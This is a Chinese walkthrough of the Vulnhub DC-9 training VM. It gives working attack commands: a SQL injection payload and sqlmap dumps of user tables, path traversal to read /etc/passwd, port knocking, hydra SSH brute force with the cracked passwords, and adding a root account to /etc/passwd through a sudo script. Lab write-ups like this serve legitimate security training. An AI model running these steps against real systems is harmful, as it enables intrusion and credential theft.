Vulnhub实战-DC9

前言

本次的实验靶场是Vulnhub上面的DC-9,其中的渗透测试过程比较多,最终的目的是要找到其中的flag。

一、信息收集

  1. 对目标网络进行扫描

    arp-scan -l

    1693641973_64f2ecf5e9dc8086438db.png!small?1693641973104

  2. 对目标进行端口扫描

    nmap -sC -sV -oA dc-9 192.168.1.131

    1693643100_64f2f15cbf2aca289e64f.png!small?1693643099939

  3. 扫描出目标开放了22和80两个端口,访问目标的80端口。

    1693642016_64f2ed20de8b49fee4326.png!small?1693642016204

  4. 对目标进行目录扫描与分析。

    nikto -host 192.168.1.134

    1693642036_64f2ed342faf4eee6394e.png!small?1693642035584

  5. 我访问了一下includes/目录,都是一些空文件,没什么特别的文件,但是我在search的菜单选项下的界面中试了一下SQL注入,发现其存在SQL注入,并且网页指向results.php的界面。

二、漏洞利用

(1)SQL注入

  1. 既然在search选项下的界面存在SQL注入,那就进行SQL注入

    'or 1=1 #

    1693642055_64f2ed47c9f3747f3ca75.png!small?1693642054820

    • 之前写成result.php了,难怪sqlmap无法扫描出来

    • 如果是GET型SQL注入,那么直接在url中输入参数即可,而如果是POST提交,则需要指定--data "提交的数据"才行。

  2. 既然存在SQL注入,我们就是用sqlmap去扫描一下。

    sqlmap -u "http://192.168.1.134/result.php" --data "search=1" --dbs

    1693642073_64f2ed592ef5db1eecf95.png!small?1693642072479

  3. 尝试对users这个库下手,因为要登陆一些网站后台需要用户名和密码,而这个库可能就有,先获取其中的所有表名。

    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D users --tables

    1693642258_64f2ee12b12399a0b7c9f.png!small?1693642258038

  4. 有一张表,查看其具体的信息。

    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D users -T UserDetails --dump

    1693642321_64f2ee514ca1e9f8de045.png!small?1693642320616

    可以将username和password做成两个字典,我分别做成了user-dict和pass-dict两个字典。

  5. 使用wfuzz工具测试一下,其中大多数的行数都相同,我于是过滤了一下,没有发现特殊的Payload参数。

    wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.1.134/manage.php?username=FUZZ&password=FUZZ" 

    1693642339_64f2ee6315a2d15cbfe4d.png!small?1693642338324

  6. 只能试一下其他的数据库了,之前使用sqlmap扫描到目标还有一个Staff的数据库,扫描一下看其中还有哪些表。

    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D Staff --table

    1693642358_64f2ee76138bcc70de618.png!small?1693642357288

  7. 扫出来两张表,第一张表和我在目标网页的Display All Recodes菜单选项下的界面的内容差不多,没什么特别的,而第二张Users表有些东西,使用sqlmap扫描之后,里面有一个可以解密的哈希值。

    之前的users是一个数据库,这里的Users是一张表

    sqlmap -u "http://192.168.1.134/results.php" --data "search=1" -D Staff -T Users --dump

    1693642378_64f2ee8a559a25b969aa7.png!small?1693642377507

  8. 我使用了第一个默认的字典去破解,结果破解出一个用户名Admin,密码是transorbital1。

    1693642403_64f2eea3ad8a69b877c8b.png!small?1693642403157

  9. 尝试使用获得的用户名和密码去manage选项的页面进行登录,结果成功登录,页面提示我已登录成功,并且多了一个Log Out的选项,之前没有,还有一条“File does not exist”的提示语,可能存在文件包含漏洞。

    1693642418_64f2eeb2aff6674eca6a5.png!small?1693642417708

(2)文件包含漏洞

  1. 目标可能存在文件包含漏洞,但是我不知道传递文件的参数,于是我仍然使用wfuzz工具去试一下。

    wfuzz -b "PHPSESSID=k4vtn0fuo7d4bauibn1iqpp6gf" -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.134/manage.php?FUZZ=index.php

    1693642475_64f2eeeb6170350675182.png!small?1693642474648

    • 我将参数-w中的字母写成了大写,导致后面报错。

    • 遇到Kali无法连接阿里云的源,修改了DNS之后重启网络就好了,在/etc/apt/sources.list文件里面进行修改。

  2. 扫描出一个与众不同的参数——file,传入file=index.php的参数值发现没什么用,我于是尝试了一下../../../../../etc/passwd。

    1693642517_64f2ef15c734771aa3fc2.png!small?1693642516905

    我把--hw写成了-hw,少了一个“-”,导致出错。

(3)爆破SSH密码

  1. 既然我已经获取了目标操作系统下的/etc/passwd文件,其中有些和users中的重复,我决定使用hydra对SSH账号密码进行暴力破解,结果显示不允许连接,试了多次也不行,目标可能做了一些限制。

    hydra -L user-dict -P pass-dict 192.168.1.134 ssh

    1693642549_64f2ef35bfa491a37b770.png!small?1693642548844

  2. 后来得知有一些方法可以用来保护ssh的22端口,例如开启knockd服务,这要求我们必须先访问一些其他的端口,然后才能访问22端口,这个文件是/etc目录下的knockd.conf文件中,当我去访问这个文件时,果然如此,必须依次访问7489、8475和9842三个端口才能开放22端口,之前扫描出来的22端口是处于被保护状态的,无法直接访问。

    1693642567_64f2ef474f6b7e96b47a0.png!small?1693642566322

  3. 使用nmap依次对三个端口进行访问。

    1693642583_64f2ef576aa9259dd630a.png!small?1693642582621

  4. 访问按以上三个端口之后,再访问22端口,成功访问。

    1693642603_64f2ef6b156ac9264d521.png!small?1693642602091

    如果访问了也打不开,可以试一下如下命令:

    for x in 7489 8475 9842 22 ;do nc 192.168.1.134 $x;done
  5. 之后继续使用hydra进行暴力破解,爆破出来两个用户名和密码

    hydra -L user-dict -P pass-dict 192.168.1.134 ssh

    1693642617_64f2ef790d9e23c5b739c.png!small?1693642616322

    之后我又试了多次,又爆破出来一个用户名和密码。

    1693642634_64f2ef8a7dcb06e97270a.png!small?1693642633629

    USERNAMEPASSWROD
    chandlerbUrAG0D!
    joeytPassw0rd
    janitorIlovepeepee

    我之前一直扫不出来,就使用nmap把7469、8475、9842、22这四个端口逆着访问了一遍,再用hydra爆破,还是不行,后来又顺着访问了一遍,就可以了。

  6. 接下来要去验证这些用户名和密码是否能够登录,结果全部登录成功。

    1693642659_64f2efa325c433d5dc27f.png!small?1693642658219

    1693642673_64f2efb18449140c8b0fa.png!small?1693642672560

    1693642686_64f2efbe7f65558e0c18f.png!small?1693642685565

  7. 既然我已经登陆了目标系统,就要去查看系统中的内容了。

  8. 我是用ls -a查找敏感文件时,只有janitor用户下有一个其他两个用户没有的东西,不确定是目录还是文件,使用file命令查看了一下,发现是一个目录,里面还有一个passwords-found-on-post-it-notes.txt的文件。

    1693642727_64f2efe731e261dec412d.png!small?1693642726190

    1693642742_64f2eff621be7e3fef83f.png!small?1693642741198

  9. 这时出现了三个新密码,前面的三个在数据库中看到过。

    1693642759_64f2f0078a50c11fddeac.png!small?1693642758691

  10. 将这三个新密码加入到之前我做的密码字典pass-dict中,我将其改名为pass-dict1,原来的文件备份了,再次进行爆破,爆破出来一个新用户,试了一下密码,可以登录成功。

    1693642776_64f2f018cd22e20236094.png!small?1693642775855

    1693642793_64f2f029a9d0a36a91f4e.png!small?1693642792790

    USERNAMEPASSWROD
    chandlerbUrAG0D!
    joeytPassw0rd
    janitorIlovepeepee
    fredfB4-Tru3-001

三、权限提升

  1. 已经拿到一些用户名和密码并且已经成功登陆了,接下来是提权的时候了。

提权的思路:

  1. 找敏感文件:使用ls -a 或者find / *之类的命令

  2. 查看可以用root权限去执行的程序:使用命令sudo -l:

  3. 历史命令:使用history命令查看一些历史命令

  4. 内核漏洞:使用uname -a去查看内核信息,然后再去查询其是否存在过历史漏洞,以方便我们提权

  1. 在所有已经登录的用户下输入ls -a,没有什么特别的,除了上面的janitor用户,接下来试一下sudo -l命令,结果在fredf这个用户中发现了一些特殊的信息,有一个具有root执行权限的程序test。

    1693642822_64f2f04651b84d8d3dd34.png!small?1693642821620

  2. 无法直接访问,跳转到其路径之后才可以访问,发现是一个Python文件。

    1693643780_64f2f404abf48d79c7c21.png!small?1693643779983

  3. 直接执行是没用的,有一个提示,是关于这个Python文件读取和追加的,我于是去找了一下这个test.py文件所在的目录。

    1693642851_64f2f063c2698dd9a960c.png!small?1693642850773

  4. 分别查看一下。

    1693642879_64f2f07fc342e93bd6764.png!small?1693642879022

    1693642890_64f2f08a6cc9962e78a4c.png!small?1693642889652

  5. 既然可以读取追加,哪么就可以尝试添加一个设计好的用户,使其具有root权限,然后试着将其追加到一些特殊文件中,首先使用openssl生成一个用户名和密码。

    openssl passwd -1 -salt admin 123456

    1693642904_64f2f098ca84b91be6d92.png!small?1693642904081

  6. 追加到其他文件可能没有权限,只好追加到/tmp目录中,在/tmp/passwd中。

    echo 'admin03:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

    1693642924_64f2f0ac69f73445c428f.png!small?1693642923512

  7. 成功了,这时可以使用test.py读取/tmp/passwd并且将其追加到/etc/passwd中。

    sudo ./test /tmp/passwd /etc/passwd

    1693642938_64f2f0ba80730f41f666e.png!small?1693642938303

    之前的第一个admin用户的shell程序设置出错了,少了一个/,第二个admin和第一个用户名重复了,这时我将添加了一个admin03的用户,其权限为root权限。
  8. 追加成功,切换至具有root权限的admin03用户。

    1693642954_64f2f0caab27c0e02b6fc.png!small?1693642953817

  9. 转到root目录下,查看有没有关于flag的文件,通常情况下,这些文件都在root目录下。查看了一下,果然在这里。

    1693642969_64f2f0d9d75f7cbfc5dcd.png!small?1693642968939

  10. 使用cat命令查看一下,果然如此,拿到了flag,完结散花。

    1693642981_64f2f0e58cfee15a8221f.png!small?1693642981032

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/135635.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GFS分布式文件系统

目录 1、GFS理论 1.1、概述 1.2、GFS的基本概念和架构: 1.2.1. 基本概念 1.2.2. 架构: 1.3、GFS的基本组成部分包括: 1.4、GFS具有以下几个关键特点: 1.5、GlusterFS特点 1.6、GFS的术语 1.7、GlusterFS 采用模块化、堆…

【C++】STL简介 | string类的常用接口

目录 STL简介 学string类前的铺垫 概念 为什么要学string类 string类的底层(了解) 编码表的故事 string类的常用接口与应用 3个必掌握的构造 赋值 访问字符operator[] 初识迭代器(iterator) 反向迭代器 用范围for遍历…

【微信小程序】swiper的使用

1.swiper的基本使用 <jxz-header></jxz-header> <view class"banner"><swiperprevious-margin"30rpx"autoplayinterval"2000"indicator-dotsindicator-color"rgba(0,0,0,0.3)"indicator-active-color"#bda…

每日一题 337. 打家劫舍 III

难度&#xff1a;中等 整体思路相当于是前两天的方法倒过来&#xff0c;毕竟二叉树最常用的解法就是递归倒推 对于每一颗子树&#xff0c;他必定有一种最大的盗取方法&#xff0c;但是只有它的 root 的盗取情况才会影响到 root 的父节点&#xff0c;即如果收益最大的盗取方法…

虚拟线上发布会带来颠覆性新体验,3D虚拟场景直播迸发品牌新动能

虚拟线上发布会是近年来在数字化营销领域备受关注的形式&#xff0c;而随着虚拟现实技术的不断进步&#xff0c;3D虚拟场景直播更成为了品牌宣传、推广的新选择。可以说&#xff0c;虚拟线上发布会正在以其颠覆性的新体验&#xff0c;为品牌带来全新的活力。 1.突破时空限制&am…

竞赛选题 基于深度学习的人脸性别年龄识别 - 图像识别 opencv

文章目录 0 前言1 课题描述2 实现效果3 算法实现原理3.1 数据集3.2 深度学习识别算法3.3 特征提取主干网络3.4 总体实现流程 4 具体实现4.1 预训练数据格式4.2 部分实现代码 5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 毕业设计…

09MyBatisX插件

MyBatisX插件 在真正开发过程中对于一些复杂的SQL和多表联查就需要我们自己去编写代码和SQL语句,这个时候可以使用MyBatisX插件帮助我们简化开发 安装MyBatisX插件: File -> Settings -> Plugins -> 搜索MyBatisx插件搜索安装然后重启IDEA 跳转文件功能 由于一个项…

计算机竞赛 深度学习 opencv python 公式识别(图像识别 机器视觉)

文章目录 0 前言1 课题说明2 效果展示3 具体实现4 关键代码实现5 算法综合效果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的数学公式识别算法实现 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学…

Unity Bolt 实现UI拖拽功能

最近在学习使用Bolt插件实现五代码对UGUI Image元素实现拖拽。先看效果 录制_2023_09_15_17_50_45_29 下面是实现方式介绍&#xff1a; 1&#xff1a;注册RectTransformUtility 在使用Bolt插件实现UI拖拽的功能&#xff0c;需要使用 RectTransformUtility.ScreenPointToLoca…

操作系统基本概念

目录 一、基本概述 二、操作系统的特点 &#xff08;一&#xff09;并发性&#xff08;实质是微观的串行、宏观的并行&#xff09; 1. 对比看&#xff1a;并行性 2. 单核CPU和多核CPU &#xff08;二&#xff09;共享性 &#xff08;三&#xff09;虚拟性 &#xff08;…

自动化和数字化在 ERP 系统中意味着什么?

毋庸置疑&#xff0c;ERP系统的作用是让工作更轻松。它可以集成流程&#xff0c;提供关键分析&#xff0c;确保你的企业高效运营。这些信息可以提高你的运营效率&#xff0c;并将有限的人力资本重新部署到更有效、更重要的需求上。事实上&#xff0c;自动化和数字化是ERP系统最…

【Unity程序技巧】Unity中的单例模式的运用

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…

爬虫 — 验证码反爬

目录 一、超级鹰二、图片验证模拟登录1、页面分析1.1、模拟用户正常登录流程1.2、识别图片里面的文字 2、代码实现 三、滑块模拟登录1、页面分析2、代码实现&#xff08;通过对比像素获取缺口位置&#xff09; 四、openCV1、简介2、代码3、案例 五、selenium 反爬六、百度智能云…

【QT】day2

1.完善登录框 点击登录按钮后&#xff0c;判断账号&#xff08;admin&#xff09;和密码&#xff08;123456&#xff09;是否一致&#xff0c;如果匹配失败&#xff0c;则弹出错误对话框&#xff0c;文本内容“账号密码不匹配&#xff0c;是否重新登录”&#xff0c;给定两个按…

分布式缓冲-Redis

个人名片&#xff1a; 博主&#xff1a;酒徒ᝰ. 个人简介&#xff1a;沉醉在酒中&#xff0c;借着一股酒劲&#xff0c;去拼搏一个未来。 本篇励志&#xff1a;三人行&#xff0c;必有我师焉。 本项目基于B站黑马程序员Java《SpringCloud微服务技术栈》&#xff0c;SpringCloud…

神经网络 02(激活函数)

一、激活函数 在神经元中引入了激活函数&#xff0c;它的本质是向神经网络中引入非线性因素的&#xff0c;通过激活函数&#xff0c;神经网络就可以拟合各种曲线。 如果不用激活函数&#xff0c;每一层输出都是上层输入的线性函数&#xff0c;无论神经网络有多少层&#xff0c…

(vue2)面经基础版-案例效果分析

配路由 先配一级&#xff0c;一级里面配二级。一级路由&#xff1a;首页&#xff08;二级&#xff1a;嵌套4个小页面&#xff09;、详情页 高亮a->router-link&#xff0c;高亮效果对自带高亮类名router-link(-exact)-active设置 注&#xff1a;通过children配置项&#…

使用vite创建vue3项目及项目的配置 | 环境准备 ESLint配置 prettier配置 husky配置

使用vite创建vue3项目及项目的配置 1.环境准备 使用vite搭建项目&#xff0c;vite需要nodejs版本14.18、16 node v18.16.1pnpm 8.7.4 pnpm:performant npm(高性能的npm)由npm/yarn衍生而来&#xff0c;解决了npm/yarn内部潜在的bug&#xff0c;极大的优化了性能&#xff0c…

能用就行——玄学问题:Compile with TORCH_USE_CUDA_DSA to enable device-side assertions

配置&#xff1a; python 3.9.0&#xff0c;torch2.0.1cu118 背景&#xff1a; 一直使用这个配置训练都没问题。搁置了一个月之后&#xff0c;再次使用就显示报错“Compile with TORCH_USE_CUDA_DSA to enable device-side assertions.” 过程&#xff1a; 尝试了网上的各种方…

【SG滤波】三阶滤波、五阶滤波、七阶滤波(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…